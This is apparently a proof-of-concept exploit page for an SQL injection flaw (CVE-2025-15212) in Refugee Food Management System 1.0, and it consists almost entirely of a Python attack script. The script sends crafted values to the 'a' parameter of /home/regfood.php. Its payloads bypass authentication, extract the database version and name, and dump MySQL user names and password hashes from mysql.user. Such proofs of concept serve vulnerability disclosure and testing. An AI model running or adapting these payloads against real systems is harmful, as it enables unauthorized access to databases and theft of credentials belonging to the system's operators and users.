CVE-2025-15212: Refugee Food Management System 1.0 SQL注入漏洞

import requests import sys # CVE-2025-15212 SQL Injection PoC # Target: Refugee Food Management System 1.0 # Vulnerability: SQL Injection in /home/regfood.php parameter 'a' def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in regfood.php Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Server response """ target = f"{target_url}/home/regfood.php" params = {'a': payload} try: response = requests.get(target, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" # Basic authentication bypass payload auth_bypass_payload = "' OR '1'='1" # Database version extraction payload (MySQL) database_version_payload = "' UNION SELECT NULL,@@version,NULL-- -" # Extract current database current_db_payload = "' UNION SELECT NULL,database(),NULL-- -" # Extract users table (common SQL injection test) users_payload = "' UNION SELECT NULL,CONCAT(user,':',password),NULL FROM mysql.user-- -" if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-15212.py <target_url>") print("Example: python cve-2025-15212.py http://localhost/refugee-food-system") sys.exit(1) base_url = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-15212 on {base_url}") print(f"[*] Exploiting SQL injection in /home/regfood.php") # Test basic injection print("\n[+] Testing basic injection...") resp = exploit_sqli(base_url, auth_bypass_payload) print(f"Response length: {len(resp)}") # Extract database version print("\n[+] Extracting database version...") resp = exploit_sqli(base_url, database_version_payload) print(resp[:500] if len(resp) > 500 else resp)